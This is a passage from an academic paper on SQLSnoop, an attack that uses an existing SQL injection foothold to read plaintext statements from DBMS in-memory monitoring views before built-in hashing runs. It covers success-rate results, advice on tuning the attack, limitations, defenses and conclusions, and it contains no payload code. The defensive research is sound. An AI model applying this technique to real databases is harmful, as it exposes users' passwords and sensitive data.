experiment with varying numbers of insert commands: 10, 100, and 1000. This allowed us
to comprehensively analyze the success rate under the impact of both blob size and the
accumulation of snooped SQL statements.

When analyzing the effects of snooping on a limited number of insert statements (10),
we observed that the size of the blob had minimal impact on the attack success rate, which
consistently remained at a perfect 1.0 with a standard deviation of zero. However, as we
increased the number of insert statements to 100 and 1000, a decline in the success rate
became apparent.

With 100 insert statements, a slight reduction from 1.0 to 0.9933 was observed
when the blob size increased from 1000 to 10,000 bytes. However, with 1000 insert
statements, a more pronounced decrease occurred, with the success rate dropping from
1.0 to 0.9376 as the blob size increased from 100 bytes to 1,000 bytes. Furthermore, a
significant drop occurred, starting from 0.9933 to 0.7013 as the blob size increased from
10,000 to 100,000 bytes with 100 inserts, and from 0.9376 to 0.4274 as the blob size
increased from 1000 bytes to 10,000 bytes with 1000 inserts.

These observations align closely with our initial hypothesis: as the results became
increasingly saturated with large SQL statements, the time gap between accessing the
DBMS view grew substantially larger than the lifespan of SQL statements on the view. This
phenomenon ultimately led to a notable decrease in the success rate of the SQLSnoop attack.
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Figure 7. Attack Success Rate Depending on the Blob Size. The primary factor influencing the
success rate was the growing time required to process the concatenation of stacked results as the blob
size increased.

In contrast to our previous experiments, we observed that the decline in the success
rate was not accompanied by an increase in the standard deviation. This observation aligns
with our earlier findings, since the increase in the blob size does not compel the database to
rely more on scheduling logic when it has an adequate number of vCores.

The results of this experiment also imply that to optimize the success rate of an
SQLSnoop attack, the attacker should carefully calibrate the number of iterations of the
SQLSnoop attempts. This adjustment is crucial to prevent the results from becoming
excessively stacked with SQL statements, which can, in turn, diminish the success rate of
the attack. Balancing the number of iterations is a key strategic consideration to achieve the
highest possible success rate in SQLSnoop attacks.

6. Limitations
Limited SQL Injection. SQLSnoop assumes the presence of an attacker who has

already obtained SQL Injection access. Therefore, if there is no SQL Injection vulnerability,
SQLSnoop is not a threat to DBMS systems. However, not all SQL Injection vulnerabilities
permit full SQL command execution. Some vulnerabilities are powerful enough to yield
complete SQL execution capability to the attacker, while others restrict the attacker to only
limited SQL operations. Since SQLSnoop involves the execution of loops and advanced
SQL syntax features, SQL vulnerabilities that give limited capabilities to attackers can
render the SQLSnoop attack infeasible. For example, if the attacker could not use subquery
syntax, the SQLSnoop attack becomes infeasible because of the lack of a nested select
statement. Nevertheless, a significant volume of legacy web applications built prior to
the widespread adoption of modern defensive practices remains in active deployment.
Such systems are often difficult to update or replace due to operational and financial
constraints, and SQL Injection vulnerabilities in these codebases continue to represent a
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real and persistent threat [1]. For these systems, SQLSnoop represents an additional and
previously uncharacterized risk that warrants consideration during security assessments.

NoSQL. Unlike the conventional RDBMS, NoSQL does not support a table-based
schema interface consisting of rows and columns. However, this does not guarantee that
NoSQL databases are totally immune to SQLSnoop attacks in the sense that a similar
attack vector might exist in another form. If any accessible information schema contains
confidential query data, that data will be exposed to SQLSnoop-style attacks.

SQLite. While SQLite supports an in-memory schema view table (e.g., sqlite_master),
it does not process running SQL statements in default configuration. Therefore, it is not
possible to apply SQLSnoop against SQLite in its current form. However, similarly to
NoSQL, any alteration to the system that exposes sensitive data accessible to the SQL
interface will be affected by the SQLSnoop attack.

Experimental Scope and Quantitative Evaluation. The systematic quantitative evalu-
ation presented in Section 5 is based exclusively on MySQL. While we provide working
Proof-of-Concept implementations for MSSQL, Oracle, and PostgreSQL, demonstrating
that the underlying vulnerability exists in each platform’s monitoring view, rigorous
statistical measurement of attack success rates under varying resource and workload con-
ditions was conducted only on MySQL as the representative platform. The architectural
vulnerability—plaintext SQL statement registration in in-memory views prior to hash func-
tion execution—is common to all four platforms by design, and we expect similar success
rate characteristics; however, quantitative characterization of the other three platforms
remains a direction for future work.

Synchronization Assumption and Upper-Bound Conditions. The experiments re-
ported in Section 5 were conducted under conditions where the SQLSnoop payload was
pre-loaded and actively polling before victim requests arrived, and the iteration count
was configured to cover the full execution window of targeted statements. These condi-
tions represent an upper bound on attack effectiveness. In practice, an attacker may not
know in advance when victims will issue SQL statements, leading to scenarios where the
SQLSnoop payload is activated asynchronously relative to victim activity. Under such
conditions, the success rate would depend on the overlap probability between the snooping
window and victim statement lifetime, as formalized in Section 3.1. Evaluating success
rates under asynchronous and unpredictable victim timing is an important avenue for
future experimental work.

Oracle Privilege Requirements. As discussed in Section 3.2, accessing V$SQL in Oracle
requires the SELECT_CATALOG_ROLE privilege, which is not granted to ordinary database
users by default. While this role is commonly held by application accounts and monitoring
users in many enterprise deployments, environments strictly adhering to the principle
of least privilege may restrict access to this view, thereby limiting the applicability of
SQLSnoop in Oracle deployments. The attack is most effective against Oracle when the
attacker’s injected code executes under a session that already holds SELECT_CATALOG_ROLE.

Cloud and Distributed Databases. This work focuses on traditional on-premises
RDBMS deployments. Cloud-managed database services (such as Amazon RDS, Google
Cloud SQL, and Azure SQL Database) and distributed database systems (such as Cock-
roachDB, TiDB, and Google Spanner) introduce architectural differences that may affect the
accessibility of in-memory monitoring views. In managed cloud services, administrative
views may be restricted or abstracted away from the SQL interface, potentially prevent-
ing SQLSnoop-style access. Evaluating SQLSnoop against cloud-native and distributed
database architectures is an important direction for future work.
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7. Related Works
DBMS Encryption. Various previous works have attempted to protect the database

system from information leakage through the encryption technique [20–25]. Furthermore,
to apply encryption while data is being processed inside memory, the idea of homomorphic
encryption has also been introduced [26–28]. However, a major drawback of homomorphic
encryption is the excessive consumption of system resources [26,27]. Some research has
attempted to overcome this by encrypting only parts of the database queries [25,29,30].
These previous works apply encryption to the database system; however, their attack model
and goal are different from our work. For example, CryptDB [25] applied encryption during
in-memory data processing of DBMS and was later extended as part of the Relational
Cloud database-as-a-service system [31]; however, the design goal of such schemes is to
protect data against the database management administrator (DBA) rather than against
SQL Injection attackers. Therefore, designing the SQLSnoop defense system can be more
effective because the threat model is different. In theory, fully encrypted processing of
DBMS data [32,33] will mitigate SQLSnoop; however, prior work has demonstrated that
such approaches incur severe performance costs [34,35]. Currently, the most practical way
to prevent SQLSnoop is using hashing and encryption [36] at the application layer and not
using the SQL-provided API. Unfortunately, enforcing this programming practice across
existing codebases is not straightforward.

SQL Injection Defense in General. To defend against SQL Injection attacks, the most
traditional way is to sanitize user-supplied data. Such sanitation should consider various
issues such as the data type and encoding of meta-characters, as discussed in [37]. In
addition, using prepared statements with parameterized queries and stored procedures is a
good way to defend against SQL Injection as introduced in [4]. Some research goes beyond
these defense methods, proposing techniques such as tokenizing input queries to detect
SQL Injection [9,38–42] or employing runtime monitoring [43,44]. Despite these efforts,
SQL Injection remains an ongoing issue, with recent studies continuing to propose new
detection and prevention approaches including machine-learning-based methods [8,9,45].
While this prior literature focuses on eradicating SQL Injection vulnerability [46–48], our
work proposes a new attack vector using SQL Injection as a prerequisite. It is important
to note how existing defenses relate to the SQLSnoop attack chain. Input sanitization and
parameterized queries [4,37] block SQL Injection entirely and therefore prevent SQLSnoop
at its prerequisite stage. Runtime monitoring and anomaly detection [43,44] may detect
the looping behavior of the SQLSnoop payload, but only after the attacker has already
gained SQL Injection access. Application-layer hashing—i.e., computing the hash before
the SQL statement is constructed—directly eliminates the plaintext exposure window
that SQLSnoop exploits, regardless of whether SQL Injection is present. Full database
encryption [32,33] would in theory prevent plaintext exposure in monitoring views, but it
incurs severe performance costs as noted above. This analysis clarifies that while existing
SQL Injection defenses can prevent SQLSnoop indirectly by eliminating its prerequisite,
application-layer hashing is the only defense that specifically addresses the plaintext
exposure window that SQLSnoop exploits.

SQL Injection Issues in Other Fields. SQL Injection issues are not limited to web
servers alone. The vulnerability can also occur in various environments, including the Web
SQL Database API in web browsers [49], SQLite in mobile systems [50], various embedded
systems [51], and various NoSQL databases [52–54], including Redis. Notably, Internet of
Things (IoT) systems are also often threatened by SQL Injection attacks [55], and numerous
research efforts have been made to prevent them [56–60]. Mitigating SQL Injection is
one way to address SQLSnoop attacks; however, as previous works suggest, mitigating
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SQL Injection is not an easy problem, and thus further research specifically addressing
SQLSnoop is needed.

8. Conclusions
In this paper, we introduced SQLSnoop, a technique that exploits SQL Injection to by-

pass database-side cryptographic protections. We demonstrated that using SQL-provided
hashing and encryption APIs are insufficient to protect sensitive data when an SQL Injection
vulnerability is present. SQLSnoop exploits the in-memory view table within modern Rela-
tional Database Management Systems (RDBMSs) that temporarily store SQL statements
during their execution. Using the SQLSnoop technique, an attacker can circumvent the
cryptographic protections provided by the SQL built-in hash functions.

In our experiments, we demonstrated SQLSnoop against four major DBMS platforms:
MySQL, MSSQL, Oracle, and PostgreSQL. Systematic quantitative evaluation was conducted
on MySQL, where SQLSnoop achieved attack success rates consistently above 90%, reaching
100% at 1.2 or more virtual CPU cores, across multiple versions and all four DML operations.
Feasibility on MSSQL, Oracle, and PostgreSQL was confirmed through working Proof-of-
Concept implementations, each exploiting the platform’s native in-memory monitoring
view. This makes SQLSnoop a credible and practical threat in real-world web applications.
This work provides actionable guidance for web application developers seeking to protect
their systems against this class of attack.
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DBMS Database Management System
RDBMS Relational Database Management System
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SQL Structured Query Language
OWASP Open Web Application Security Project
DBA Database Administrator
IoT Internet of Things
JDBC Java Database Connectivity
API Application Programming Interface
PoC Proof of Concept
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